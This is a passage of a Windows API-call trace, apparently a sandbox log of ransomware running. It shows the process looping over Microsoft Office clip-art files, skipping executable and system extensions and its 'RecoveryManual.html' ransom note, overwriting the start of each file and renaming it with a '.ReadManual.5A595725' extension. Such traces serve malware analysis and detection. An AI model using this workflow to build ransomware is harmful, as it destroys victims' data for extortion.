UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39381540785) returned 1 [0273.147] CloseHandle (hObject=0x184) returned 1 [0273.147] SetSecurityInfo () returned 0x57 [0273.147] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.147] CloseHandle (hObject=0x194) returned 1 [0273.147] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0273.147] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE05930_.WMF" | out: lpString1="PE05930_.WMF") returned="PE05930_.WMF" [0273.147] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="RecoveryManual.html") returned -1 [0273.147] StrStrIW (lpFirst="PE05930_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.147] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.147] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.148] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.148] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" [0273.148] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ReadManual.5A595725" [0273.148] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ReadManual.5A595725") returned 87 [0273.148] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39381640372) returned 1 [0273.148] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf")) returned 0x20 [0273.148] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.149] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32718) returned 1 [0273.149] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7fce, lpName=0x0) returned 0x184 [0273.149] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.150] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.150] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.216] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.216] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7fce) returned 0x2f0000 [0273.216] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.217] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39388533385) returned 1 [0273.217] CloseHandle (hObject=0x184) returned 1 [0273.217] SetSecurityInfo () returned 0x57 [0273.217] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.217] CloseHandle (hObject=0x194) returned 1 [0273.217] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0273.217] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE06049_.WMF" | out: lpString1="PE06049_.WMF") returned="PE06049_.WMF" [0273.217] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="RecoveryManual.html") returned -1 [0273.217] StrStrIW (lpFirst="PE06049_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.217] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.217] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.217] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" [0273.217] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ReadManual.5A595725" [0273.218] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ReadManual.5A595725") returned 87 [0273.218] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39388633402) returned 1 [0273.218] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf")) returned 0x20 [0273.218] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.218] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4636) returned 1 [0273.218] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x121c, lpName=0x0) returned 0x184 [0273.219] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.219] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.219] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.224] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.224] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x121c) returned 0x2f0000 [0273.225] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.225] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39389339706) returned 1 [0273.225] CloseHandle (hObject=0x184) returned 1 [0273.225] SetSecurityInfo () returned 0x57 [0273.225] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.225] CloseHandle (hObject=0x194) returned 1 [0273.225] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0273.225] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE06450_.WMF" | out: lpString1="PE06450_.WMF") returned="PE06450_.WMF" [0273.225] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="RecoveryManual.html") returned -1 [0273.225] StrStrIW (lpFirst="PE06450_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.225] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.225] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.225] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" [0273.226] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ReadManual.5A595725" [0273.226] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.ReadManual.5A595725") returned 87 [0273.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39389435766) returned 1 [0273.226] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf")) returned 0x20 [0273.226] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.226] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16456) returned 1 [0273.226] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4048, lpName=0x0) returned 0x184 [0273.226] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.227] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.227] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.229] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.229] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4048) returned 0x2f0000 [0273.229] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.229] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39389808162) returned 1 [0273.229] CloseHandle (hObject=0x184) returned 1 [0273.229] SetSecurityInfo () returned 0x57 [0273.230] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.230] CloseHandle (hObject=0x194) returned 1 [0273.230] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0273.230] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH00601G.GIF" | out: lpString1="PH00601G.GIF") returned="PH00601G.GIF" [0273.230] lstrcmpiW (lpString1="PH00601G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.230] StrStrIW (lpFirst="PH00601G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.230] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.230] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.230] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.230] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" [0273.230] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ReadManual.5A595725" [0273.230] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.ReadManual.5A595725") returned 87 [0273.230] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39389899908) returned 1 [0273.230] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif")) returned 0x20 [0273.230] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.231] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1577) returned 1 [0273.231] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x629, lpName=0x0) returned 0x184 [0273.231] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.232] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.232] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.233] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.234] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x629) returned 0x2f0000 [0273.234] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.234] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39390251457) returned 1 [0273.234] CloseHandle (hObject=0x184) returned 1 [0273.234] SetSecurityInfo () returned 0x57 [0273.234] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.234] CloseHandle (hObject=0x194) returned 1 [0273.234] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0273.234] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH00780U.BMP" | out: lpString1="PH00780U.BMP") returned="PH00780U.BMP" [0273.234] lstrcmpiW (lpString1="PH00780U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.234] StrStrIW (lpFirst="PH00780U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.234] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.234] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.234] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.234] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" [0273.234] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ReadManual.5A595725" [0273.235] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.ReadManual.5A595725") returned 87 [0273.235] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39390333032) returned 1 [0273.235] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp")) returned 0x20 [0273.235] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.235] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=34344) returned 1 [0273.235] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8628, lpName=0x0) returned 0x184 [0273.235] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.236] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.236] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.238] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.238] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8628) returned 0x2f0000 [0273.239] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.239] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39390808060) returned 1 [0273.239] CloseHandle (hObject=0x184) returned 1 [0273.239] SetSecurityInfo () returned 0x57 [0273.240] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.240] CloseHandle (hObject=0x194) returned 1 [0273.240] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0273.240] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01035U.BMP" | out: lpString1="PH01035U.BMP") returned="PH01035U.BMP" [0273.240] lstrcmpiW (lpString1="PH01035U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.240] StrStrIW (lpFirst="PH01035U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.240] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.240] StrCmpIW (psz1="BMP", psz2="mui") returned -1 